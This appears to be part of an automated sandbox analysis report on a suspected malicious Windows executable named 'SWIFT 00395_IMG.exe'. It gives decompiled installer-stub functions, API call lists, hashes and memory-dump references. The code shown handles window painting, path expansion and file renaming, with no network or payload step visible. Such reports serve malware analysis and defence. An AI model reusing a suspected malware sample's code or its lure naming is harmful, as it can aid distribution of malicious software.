                                                                                    0x00405f30
                                                                                    0x00405f35
                                                                                    0x00405f3a
                                                                                    0x00405f3e
                                                                                    0x00405f4d
                                                                                    0x00405f4f
                                                                                    0x00405f5c
                                                                                    0x00405f60
                                                                                    0x00405ffb
                                                                                    0x00000000
                                                                                    0x00405f76
                                                                                    0x00405f83
                                                                                    0x00405fa7
                                                                                    0x00405fab
                                                                                    0x00405fca
                                                                                    0x00405fce
                                                                                    0x00405fce
                                                                                    0x00405fd0
                                                                                    0x00405fd9
                                                                                    0x00405fe4
                                                                                    0x00405fef
                                                                                    0x00405ff5
                                                                                    0x00000000
                                                                                    0x00405ff5
                                                                                    0x00405fad
                                                                                    0x00405fb0
                                                                                    0x00405fbb
                                                                                    0x00405fb7
                                                                                    0x00405fb9
                                                                                    0x00405fba
                                                                                    0x00405fba
                                                                                    0x00405fc2
                                                                                    0x00405fc4
                                                                                    0x00000000
                                                                                    0x00405fc4
                                                                                    0x00405f8e
                                                                                    0x00405f94
                                                                                    0x00000000
                                                                                    0x00405f94
                                                                                    0x00405f60
                                                                                    0x00405f3e
                                                                                    0x00405ebd
                                                                                    0x00405ec8
                                                                                    0x00405ed1
                                                                                    0x00405ed5
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405ed5
                                                                                    0x00406006

                                                                                    APIs
                                                                                    • CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,00000000,00406028,?,?), ref: 00405EC8
                                                                                    • GetShortPathNameA.KERNEL32(?,00422AE0,00000400), ref: 00405ED1
                                                                                      • Part of subcall function 00405D26: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F81,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D36
                                                                                      • Part of subcall function 00405D26: lstrlenA.KERNEL32(00000000,?,00000000,00405F81,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D68
                                                                                    • GetShortPathNameA.KERNEL32(?,00422EE0,00000400), ref: 00405EEE
                                                                                    • wsprintfA.USER32 ref: 00405F0C
                                                                                    • GetFileSize.KERNEL32(00000000,00000000,00422EE0,C0000000,00000004,00422EE0,?,?,?,?,?), ref: 00405F47
                                                                                    • GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405F56
                                                                                    • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405F8E
                                                                                    • SetFilePointer.KERNEL32(0040A3F0,00000000,00000000,00000000,00000000,004226E0,00000000,-0000000A,0040A3F0,00000000,[Rename],00000000,00000000,00000000), ref: 00405FE4
                                                                                    • GlobalFree.KERNEL32 ref: 00405FF5
                                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405FFC
                                                                                      • Part of subcall function 00405DC1: GetFileAttributesA.KERNELBASE(00000003,00402F34,C:\Users\user\Desktop\SWIFT 00395_IMG.exe,80000000,00000003), ref: 00405DC5
                                                                                      • Part of subcall function 00405DC1: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405DE7
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
                                                                                    • String ID: %s=%s$[Rename]$*B$.B$.B
                                                                                    • API String ID: 2171350718-3836630945
                                                                                    • Opcode ID: e97eba996e681404a4fca208a0394d40b36fb18a7df9535e4eb70ec6e63efc10
                                                                                    • Instruction ID: e10df20c38e6db669e3e204b33f1f32e55eddbf12f2a20f16207bac721f49ac6
                                                                                    • Opcode Fuzzy Hash: e97eba996e681404a4fca208a0394d40b36fb18a7df9535e4eb70ec6e63efc10
                                                                                    • Instruction Fuzzy Hash: EA310331200B167BD2206B659E4DF6B3A5CDF45758F14043BF942F62D2EE7CE8118AAD
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 90%
                                                                                    			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
                                                                                    				struct tagLOGBRUSH _v16;
                                                                                    				struct tagRECT _v32;
                                                                                    				struct tagPAINTSTRUCT _v96;
                                                                                    				struct HDC__* _t70;
                                                                                    				struct HBRUSH__* _t87;
                                                                                    				struct HFONT__* _t94;
                                                                                    				long _t102;
                                                                                    				signed int _t126;
                                                                                    				struct HDC__* _t128;
                                                                                    				intOrPtr _t130;
                                                                                    
                                                                                    				if(_a8 == 0xf) {
                                                                                    					_t130 =  *0x424754;
                                                                                    					_t70 = BeginPaint(_a4,  &_v96);
                                                                                    					_v16.lbStyle = _v16.lbStyle & 0x00000000;
                                                                                    					_a8 = _t70;
                                                                                    					GetClientRect(_a4,  &_v32);
                                                                                    					_t126 = _v32.bottom;
                                                                                    					_v32.bottom = _v32.bottom & 0x00000000;
                                                                                    					while(_v32.top < _t126) {
                                                                                    						_a12 = _t126 - _v32.top;
                                                                                    						asm("cdq");
                                                                                    						asm("cdq");
                                                                                    						asm("cdq");
                                                                                    						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
                                                                                    						_t87 = CreateBrushIndirect( &_v16);
                                                                                    						_v32.bottom = _v32.bottom + 4;
                                                                                    						_a16 = _t87;
                                                                                    						FillRect(_a8,  &_v32, _t87);
                                                                                    						DeleteObject(_a16);
                                                                                    						_v32.top = _v32.top + 4;
                                                                                    					}
                                                                                    					if( *(_t130 + 0x58) != 0xffffffff) {
                                                                                    						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
                                                                                    						_a16 = _t94;
                                                                                    						if(_t94 != 0) {
                                                                                    							_t128 = _a8;
                                                                                    							_v32.left = 0x10;
                                                                                    							_v32.top = 8;
                                                                                    							SetBkMode(_t128, 1);
                                                                                    							SetTextColor(_t128,  *(_t130 + 0x58));
                                                                                    							_a8 = SelectObject(_t128, _a16);
                                                                                    							DrawTextA(_t128, 0x423f40, 0xffffffff,  &_v32, 0x820);
                                                                                    							SelectObject(_t128, _a8);
                                                                                    							DeleteObject(_a16);
                                                                                    						}
                                                                                    					}
                                                                                    					EndPaint(_a4,  &_v96);
                                                                                    					return 0;
                                                                                    				}
                                                                                    				_t102 = _a16;
                                                                                    				if(_a8 == 0x46) {
                                                                                    					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
                                                                                    					 *((intOrPtr*)(_t102 + 4)) =  *0x424748;
                                                                                    				}
                                                                                    				return DefWindowProcA(_a4, _a8, _a12, _t102);
                                                                                    			}













                                                                                    0x0040100a
                                                                                    0x00401039
                                                                                    0x00401047
                                                                                    0x0040104d
                                                                                    0x00401051
                                                                                    0x0040105b
                                                                                    0x00401061
                                                                                    0x00401064
                                                                                    0x004010f3
                                                                                    0x00401089
                                                                                    0x0040108c
                                                                                    0x004010a6
                                                                                    0x004010bd
                                                                                    0x004010cc
                                                                                    0x004010cf
                                                                                    0x004010d5
                                                                                    0x004010d9
                                                                                    0x004010e4
                                                                                    0x004010ed
                                                                                    0x004010ef
                                                                                    0x004010ef
                                                                                    0x00401100
                                                                                    0x00401105
                                                                                    0x0040110d
                                                                                    0x00401110
                                                                                    0x00401112
                                                                                    0x00401118
                                                                                    0x0040111f
                                                                                    0x00401126
                                                                                    0x00401130
                                                                                    0x00401142
                                                                                    0x00401156
                                                                                    0x00401160
                                                                                    0x00401165
                                                                                    0x00401165
                                                                                    0x00401110
                                                                                    0x0040116e
                                                                                    0x00000000
                                                                                    0x00401178
                                                                                    0x00401010
                                                                                    0x00401013
                                                                                    0x00401015
                                                                                    0x0040101f
                                                                                    0x0040101f
                                                                                    0x00000000

                                                                                    APIs
                                                                                    • DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
                                                                                    • BeginPaint.USER32(?,?), ref: 00401047
                                                                                    • GetClientRect.USER32 ref: 0040105B
                                                                                    • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
                                                                                    • FillRect.USER32 ref: 004010E4
                                                                                    • DeleteObject.GDI32(?), ref: 004010ED
                                                                                    • CreateFontIndirectA.GDI32(?), ref: 00401105
                                                                                    • SetBkMode.GDI32(00000000,00000001), ref: 00401126
                                                                                    • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
                                                                                    • SelectObject.GDI32(00000000,?), ref: 00401140
                                                                                    • DrawTextA.USER32(00000000,00423F40,000000FF,00000010,00000820), ref: 00401156
                                                                                    • SelectObject.GDI32(00000000,00000000), ref: 00401160
                                                                                    • DeleteObject.GDI32(?), ref: 00401165
                                                                                    • EndPaint.USER32(?,?), ref: 0040116E
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                                                    • String ID: F
                                                                                    • API String ID: 941294808-1304234792
                                                                                    • Opcode ID: 2115552123f79a9609963f7e9290141a6f0abd4dc8a6adc5f5d249a59f4964a3
                                                                                    • Instruction ID: db002e3ba225c6bd58a8671fff368fb1669b339ad4166f4ebb51648b269c9ea2
                                                                                    • Opcode Fuzzy Hash: 2115552123f79a9609963f7e9290141a6f0abd4dc8a6adc5f5d249a59f4964a3
                                                                                    • Instruction Fuzzy Hash: 51419D71800249AFCF058FA5DE459AF7FB9FF45314F00802AF991AA1A0C738DA55DFA4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 72%
                                                                                    			E004062BB(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
                                                                                    				struct _ITEMIDLIST* _v8;
                                                                                    				char _v12;
                                                                                    				signed int _v16;
                                                                                    				signed char _v20;
                                                                                    				signed int _v24;
                                                                                    				signed char _v28;
                                                                                    				signed int _t38;
                                                                                    				CHAR* _t39;
                                                                                    				signed int _t41;
                                                                                    				char _t52;
                                                                                    				char _t53;
                                                                                    				char _t55;
                                                                                    				char _t57;
                                                                                    				void* _t65;
                                                                                    				char* _t66;
                                                                                    				signed int _t80;
                                                                                    				intOrPtr _t86;
                                                                                    				char _t88;
                                                                                    				void* _t89;
                                                                                    				CHAR* _t90;
                                                                                    				void* _t92;
                                                                                    				signed int _t97;
                                                                                    				signed int _t99;
                                                                                    				void* _t100;
                                                                                    
                                                                                    				_t92 = __esi;
                                                                                    				_t89 = __edi;
                                                                                    				_t65 = __ebx;
                                                                                    				_t38 = _a8;
                                                                                    				if(_t38 < 0) {
                                                                                    					_t86 =  *0x423f1c; // 0x78d409
                                                                                    					_t38 =  *(_t86 - 4 + _t38 * 4);
                                                                                    				}
                                                                                    				_push(_t65);
                                                                                    				_push(_t92);
                                                                                    				_push(_t89);
                                                                                    				_t66 = _t38 +  *0x424798;
                                                                                    				_t39 = 0x4236e0;
                                                                                    				_t90 = 0x4236e0;
                                                                                    				if(_a4 >= 0x4236e0 && _a4 - 0x4236e0 < 0x800) {
                                                                                    					_t90 = _a4;
                                                                                    					_a4 = _a4 & 0x00000000;
                                                                                    				}
                                                                                    				while(1) {
                                                                                    					_t88 =  *_t66;
                                                                                    					if(_t88 == 0) {
                                                                                    						break;
                                                                                    					}
                                                                                    					__eflags = _t90 - _t39 - 0x400;
                                                                                    					if(_t90 - _t39 >= 0x400) {
                                                                                    						break;
                                                                                    					}
                                                                                    					_t66 = _t66 + 1;
                                                                                    					__eflags = _t88 - 4;
                                                                                    					_a8 = _t66;
                                                                                    					if(__eflags >= 0) {
                                                                                    						if(__eflags != 0) {
                                                                                    							 *_t90 = _t88;
                                                                                    							_t90 =  &(_t90[1]);
                                                                                    							__eflags = _t90;
                                                                                    						} else {
                                                                                    							 *_t90 =  *_t66;
                                                                                    							_t90 =  &(_t90[1]);
                                                                                    							_t66 = _t66 + 1;
                                                                                    						}
                                                                                    						continue;
                                                                                    					}
                                                                                    					_t41 =  *((char*)(_t66 + 1));
                                                                                    					_t80 =  *_t66;
                                                                                    					_t97 = (_t41 & 0x0000007f) << 0x00000007 | _t80 & 0x0000007f;
                                                                                    					_v24 = _t80;
                                                                                    					_v28 = _t80 | 0x00000080;
                                                                                    					_v16 = _t41;
                                                                                    					_v20 = _t41 | 0x00000080;
                                                                                    					_t66 = _a8 + 2;
                                                                                    					__eflags = _t88 - 2;
                                                                                    					if(_t88 != 2) {
                                                                                    						__eflags = _t88 - 3;
                                                                                    						if(_t88 != 3) {
                                                                                    							__eflags = _t88 - 1;
                                                                                    							if(_t88 == 1) {
                                                                                    								__eflags = (_t41 | 0xffffffff) - _t97;
                                                                                    								E004062BB(_t66, _t90, _t97, _t90, (_t41 | 0xffffffff) - _t97);
                                                                                    							}
                                                                                    							L42:
                                                                                    							_t90 =  &(_t90[lstrlenA(_t90)]);
                                                                                    							_t39 = 0x4236e0;
                                                                                    							continue;
                                                                                    						}
                                                                                    						__eflags = _t97 - 0x1d;
                                                                                    						if(_t97 != 0x1d) {
                                                                                    							__eflags = (_t97 << 0xa) + 0x425000;
                                                                                    							E00406228(_t90, (_t97 << 0xa) + 0x425000);
                                                                                    						} else {
                                                                                    							E00406186(_t90,  *0x424748);
                                                                                    						}
                                                                                    						__eflags = _t97 + 0xffffffeb - 7;
                                                                                    						if(_t97 + 0xffffffeb < 7) {
                                                                                    							L33:
                                                                                    							E00406503(_t90);
                                                                                    						}
                                                                                    						goto L42;
                                                                                    					}
                                                                                    					_t52 =  *0x42474c;
                                                                                    					__eflags = _t52;
                                                                                    					_t99 = 2;
                                                                                    					if(_t52 >= 0) {
                                                                                    						L13:
                                                                                    						_a8 = 1;
                                                                                    						L14:
                                                                                    						__eflags =  *0x4247e4;
                                                                                    						if( *0x4247e4 != 0) {
                                                                                    							_t99 = 4;
                                                                                    						}
                                                                                    						__eflags = _t80;
                                                                                    						if(__eflags >= 0) {
                                                                                    							__eflags = _t80 - 0x25;
                                                                                    							if(_t80 != 0x25) {
                                                                                    								__eflags = _t80 - 0x24;
                                                                                    								if(_t80 == 0x24) {
                                                                                    									GetWindowsDirectoryA(_t90, 0x400);
                                                                                    									_t99 = 0;
                                                                                    								}
                                                                                    								while(1) {
                                                                                    									__eflags = _t99;
                                                                                    									if(_t99 == 0) {
                                                                                    										goto L30;
                                                                                    									}
                                                                                    									_t53 =  *0x424744;
                                                                                    									_t99 = _t99 - 1;
                                                                                    									__eflags = _t53;
                                                                                    									if(_t53 == 0) {
                                                                                    										L26:
                                                                                    										_t55 = SHGetSpecialFolderLocation( *0x424748,  *(_t100 + _t99 * 4 - 0x18),  &_v8);
                                                                                    										__eflags = _t55;
                                                                                    										if(_t55 != 0) {
                                                                                    											L28:
                                                                                    											 *_t90 =  *_t90 & 0x00000000;
                                                                                    											__eflags =  *_t90;
                                                                                    											continue;
                                                                                    										}
                                                                                    										__imp__SHGetPathFromIDListA(_v8, _t90);
                                                                                    										_v12 = _t55;
                                                                                    										__imp__CoTaskMemFree(_v8);
                                                                                    										__eflags = _v12;
                                                                                    										if(_v12 != 0) {
                                                                                    											goto L30;
                                                                                    										}
                                                                                    										goto L28;
                                                                                    									}
                                                                                    									__eflags = _a8;
                                                                                    									if(_a8 == 0) {
                                                                                    										goto L26;
                                                                                    									}
                                                                                    									_t57 =  *_t53( *0x424748,  *(_t100 + _t99 * 4 - 0x18), 0, 0, _t90);
                                                                                    									__eflags = _t57;
                                                                                    									if(_t57 == 0) {
                                                                                    										goto L30;
                                                                                    									}
                                                                                    									goto L26;
                                                                                    								}
                                                                                    								goto L30;
                                                                                    							}
                                                                                    							GetSystemDirectoryA(_t90, 0x400);
                                                                                    							goto L30;
                                                                                    						} else {
                                                                                    							E0040610F((_t80 & 0x0000003f) +  *0x424798, __eflags, 0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t80 & 0x0000003f) +  *0x424798, _t90, _t80 & 0x00000040);
                                                                                    							__eflags =  *_t90;
                                                                                    							if( *_t90 != 0) {
                                                                                    								L31:
                                                                                    								__eflags = _v16 - 0x1a;
                                                                                    								if(_v16 == 0x1a) {
                                                                                    									lstrcatA(_t90, "\\Microsoft\\Internet Explorer\\Quick Launch");
                                                                                    								}
                                                                                    								goto L33;
                                                                                    							}
                                                                                    							E004062BB(_t66, _t90, _t99, _t90, _v16);
                                                                                    							L30:
                                                                                    							__eflags =  *_t90;
                                                                                    							if( *_t90 == 0) {
                                                                                    								goto L33;
                                                                                    							}
                                                                                    							goto L31;
                                                                                    						}
                                                                                    					}
                                                                                    					__eflags = _t52 - 0x5a04;
                                                                                    					if(_t52 == 0x5a04) {
                                                                                    						goto L13;
                                                                                    					}
                                                                                    					__eflags = _v16 - 0x23;
                                                                                    					if(_v16 == 0x23) {
                                                                                    						goto L13;
                                                                                    					}
                                                                                    					__eflags = _v16 - 0x2e;
                                                                                    					if(_v16 == 0x2e) {
                                                                                    						goto L13;
                                                                                    					} else {
                                                                                    						_a8 = _a8 & 0x00000000;
                                                                                    						goto L14;
                                                                                    					}
                                                                                    				}
                                                                                    				 *_t90 =  *_t90 & 0x00000000;
                                                                                    				if(_a4 == 0) {
                                                                                    					return _t39;
                                                                                    				}
                                                                                    				return E00406228(_a4, _t39);
                                                                                    			}



























                                                                                    0x004062bb
                                                                                    0x004062bb
                                                                                    0x004062bb
                                                                                    0x004062c1
                                                                                    0x004062c6
                                                                                    0x004062c8
                                                                                    0x004062d7
                                                                                    0x004062d7
                                                                                    0x004062df
                                                                                    0x004062e0
                                                                                    0x004062e1
                                                                                    0x004062e2
                                                                                    0x004062e5
                                                                                    0x004062ed
                                                                                    0x004062ef
                                                                                    0x00406306
                                                                                    0x00406309
                                                                                    0x00406309
                                                                                    0x004064e0
                                                                                    0x004064e0
                                                                                    0x004064e4
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406316
                                                                                    0x0040631c
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406322
                                                                                    0x00406323
                                                                                    0x00406326
                                                                                    0x00406329
                                                                                    0x004064d3
                                                                                    0x004064dd
                                                                                    0x004064df
                                                                                    0x004064df
                                                                                    0x004064d5
                                                                                    0x004064d7
                                                                                    0x004064d9
                                                                                    0x004064da
                                                                                    0x004064da
                                                                                    0x00000000
                                                                                    0x004064d3
                                                                                    0x0040632f
                                                                                    0x00406333
                                                                                    0x00406343
                                                                                    0x0040634a
                                                                                    0x0040634d
                                                                                    0x00406355
                                                                                    0x00406358
                                                                                    0x0040635f
                                                                                    0x00406360
                                                                                    0x00406363
                                                                                    0x00406480
                                                                                    0x00406483
                                                                                    0x004064b3
                                                                                    0x004064b6
                                                                                    0x004064bb
                                                                                    0x004064bf
                                                                                    0x004064bf
                                                                                    0x004064c4
                                                                                    0x004064ca
                                                                                    0x004064cc
                                                                                    0x00000000
                                                                                    0x004064cc
                                                                                    0x00406485
                                                                                    0x00406488
                                                                                    0x0040649d
                                                                                    0x004064a4
                                                                                    0x0040648a
                                                                                    0x00406491
                                                                                    0x00406491
                                                                                    0x004064ac
                                                                                    0x004064af
                                                                                    0x00406478
                                                                                    0x00406479
                                                                                    0x00406479
                                                                                    0x00000000
                                                                                    0x004064af
                                                                                    0x00406369
                                                                                    0x00406370
                                                                                    0x00406372
                                                                                    0x00406373
                                                                                    0x0040638d
                                                                                    0x0040638d
                                                                                    0x00406394
                                                                                    0x00406394
                                                                                    0x0040639b
                                                                                    0x0040639f
                                                                                    0x0040639f
                                                                                    0x004063a0
                                                                                    0x004063a2
                                                                                    0x004063db
                                                                                    0x004063de
                                                                                    0x004063ee
                                                                                    0x004063f1
                                                                                    0x004063f9
                                                                                    0x004063ff
                                                                                    0x004063ff
                                                                                    0x0040645e
                                                                                    0x0040645e
                                                                                    0x00406460
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406403
                                                                                    0x0040640a
                                                                                    0x0040640b
                                                                                    0x0040640d
                                                                                    0x00406427
                                                                                    0x00406435
                                                                                    0x0040643b
                                                                                    0x0040643d
                                                                                    0x0040645b
                                                                                    0x0040645b
                                                                                    0x0040645b
                                                                                    0x00000000
                                                                                    0x0040645b
                                                                                    0x00406443
                                                                                    0x0040644c
                                                                                    0x0040644f
                                                                                    0x00406455
                                                                                    0x00406459
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406459
                                                                                    0x0040640f
                                                                                    0x00406412
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406421
                                                                                    0x00406423
                                                                                    0x00406425
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406425
                                                                                    0x00000000
                                                                                    0x0040645e
                                                                                    0x004063e6
                                                                                    0x00000000
                                                                                    0x004063a4
                                                                                    0x004063bf
                                                                                    0x004063c4
                                                                                    0x004063c7
                                                                                    0x00406467
                                                                                    0x00406467
                                                                                    0x0040646b
                                                                                    0x00406473
                                                                                    0x00406473
                                                                                    0x00000000
                                                                                    0x0040646b
                                                                                    0x004063d1
                                                                                    0x00406462
                                                                                    0x00406462
                                                                                    0x00406465
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406465
                                                                                    0x004063a2
                                                                                    0x00406375
                                                                                    0x00406379
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040637b
                                                                                    0x0040637f
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406381
                                                                                    0x00406385
                                                                                    0x00000000
                                                                                    0x00406387
                                                                                    0x00406387
                                                                                    0x00000000
                                                                                    0x00406387
                                                                                    0x00406385
                                                                                    0x004064ea
                                                                                    0x004064f4
                                                                                    0x00406500
                                                                                    0x00406500
                                                                                    0x00000000

                                                                                    APIs
                                                                                    • GetSystemDirectoryA.KERNEL32(uvlcopdlxoed,00000400), ref: 004063E6
                                                                                    • GetWindowsDirectoryA.KERNEL32(uvlcopdlxoed,00000400,?,00420530,00000000,00405387,00420530,00000000), ref: 004063F9
                                                                                    • SHGetSpecialFolderLocation.SHELL32(00405387,00000000,?,00420530,00000000,00405387,00420530,00000000), ref: 00406435
                                                                                    • SHGetPathFromIDListA.SHELL32(00000000,uvlcopdlxoed), ref: 00406443
                                                                                    • CoTaskMemFree.OLE32(00000000), ref: 0040644F
                                                                                    • lstrcatA.KERNEL32(uvlcopdlxoed,\Microsoft\Internet Explorer\Quick Launch), ref: 00406473
                                                                                    • lstrlenA.KERNEL32(uvlcopdlxoed,?,00420530,00000000,00405387,00420530,00000000,00000000,00000000,00000000), ref: 004064C5
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
                                                                                    • String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch$uvlcopdlxoed
                                                                                    • API String ID: 717251189-2520582795
                                                                                    • Opcode ID: bc9471c6cf8ae6720703e8417b03b042a63b45d26e40513c79d31308c85558e4
                                                                                    • Instruction ID: f83f29d570338ae078c2f0a770e3e6ec7f31d765c13aaba4f9587f8cbfb2a84b
                                                                                    • Opcode Fuzzy Hash: bc9471c6cf8ae6720703e8417b03b042a63b45d26e40513c79d31308c85558e4
                                                                                    • Instruction Fuzzy Hash: 22610071A00214AEDF209F64D984BBA3BA4EB55714F12413FE913BA2D1C37C8962CB5E
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00406503(CHAR* _a4) {
                                                                                    				char _t5;
                                                                                    				char _t7;
                                                                                    				char* _t15;
                                                                                    				char* _t16;
                                                                                    				CHAR* _t17;
                                                                                    
                                                                                    				_t17 = _a4;
                                                                                    				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
                                                                                    					_t17 =  &(_t17[4]);
                                                                                    				}
                                                                                    				if( *_t17 != 0 && E00405C2D(_t17) != 0) {
                                                                                    					_t17 =  &(_t17[2]);
                                                                                    				}
                                                                                    				_t5 =  *_t17;
                                                                                    				_t15 = _t17;
                                                                                    				_t16 = _t17;
                                                                                    				if(_t5 != 0) {
                                                                                    					do {
                                                                                    						if(_t5 > 0x1f &&  *((char*)(E00405BEB("*?|<>/\":", _t5))) == 0) {
                                                                                    							E00405D7C(_t16, _t17, CharNextA(_t17) - _t17);
                                                                                    							_t16 = CharNextA(_t16);
                                                                                    						}
                                                                                    						_t17 = CharNextA(_t17);
                                                                                    						_t5 =  *_t17;
                                                                                    					} while (_t5 != 0);
                                                                                    				}
                                                                                    				 *_t16 =  *_t16 & 0x00000000;
                                                                                    				while(1) {
                                                                                    					_t16 = CharPrevA(_t15, _t16);
                                                                                    					_t7 =  *_t16;
                                                                                    					if(_t7 != 0x20 && _t7 != 0x5c) {
                                                                                    						break;
                                                                                    					}
                                                                                    					 *_t16 =  *_t16 & 0x00000000;
                                                                                    					if(_t15 < _t16) {
                                                                                    						continue;
                                                                                    					}
                                                                                    					break;
                                                                                    				}
                                                                                    				return _t7;
                                                                                    			}








                                                                                    0x00406505
                                                                                    0x0040650d
                                                                                    0x00406521
                                                                                    0x00406521
                                                                                    0x00406527
                                                                                    0x00406534
                                                                                    0x00406534
                                                                                    0x00406535
                                                                                    0x00406537
                                                                                    0x0040653b
                                                                                    0x0040653d
                                                                                    0x00406546
                                                                                    0x00406548
                                                                                    0x00406562
                                                                                    0x0040656a
                                                                                    0x0040656a
                                                                                    0x0040656f
                                                                                    0x00406571
                                                                                    0x00406573
                                                                                    0x00406577
                                                                                    0x00406578
                                                                                    0x0040657b
                                                                                    0x00406583
                                                                                    0x00406585
                                                                                    0x00406589
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040658f
                                                                                    0x00406594
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406594
                                                                                    0x00406599

                                                                                    APIs
                                                                                    • CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\SWIFT 00395_IMG.exe" ,73BCFA90,C:\Users\user\AppData\Local\Temp\,00000000,0040343C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 0040655B
                                                                                    • CharNextA.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 00406568
                                                                                    • CharNextA.USER32(?,"C:\Users\user\Desktop\SWIFT 00395_IMG.exe" ,73BCFA90,C:\Users\user\AppData\Local\Temp\,00000000,0040343C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 0040656D
                                                                                    • CharPrevA.USER32(?,?,73BCFA90,C:\Users\user\AppData\Local\Temp\,00000000,0040343C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 0040657D
                                                                                    Strings
                                                                                    • C:\Users\user\AppData\Local\Temp\, xrefs: 00406504
                                                                                    • "C:\Users\user\Desktop\SWIFT 00395_IMG.exe" , xrefs: 0040653F
